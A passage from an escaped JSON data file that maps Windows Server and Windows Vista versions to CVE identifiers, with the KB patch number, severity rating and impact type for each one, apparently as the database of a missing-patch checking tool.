Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284819\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457142\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467686\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4486996\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server, version 1803 (Server Core Installation)\":[{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343909\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103721\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284835\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457128\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462919\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467702\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487017\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503286\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4520008\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530717\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537762\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556807\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server, version 1903 (Server Core installation)\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4517389\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4565351\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server, version 1909 (Server Core installation)\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601315\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601315\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601315\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000808\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows Server, version 2004 (Server Core installation)\":[{\"cve\":\"CVE-2020-1313\",\"kb\":\"4557957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005033\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server, version 20H2 (Server Core Installation)\":[{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004945\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005033\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows Update Assistant\":[{\"cve\":\"CVE-2021-42297\",\"kb\":\"\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Vista\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows Vista Service Pack 1\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3145\",\"kb\":\"2478935\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Vista Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3145\",\"kb\":\"2478935\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-7331\",\"kb\":\"2977629\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898869\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3023299\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3072303\",\"severity\":\"Critical\",\"impact\":\"Remote Code 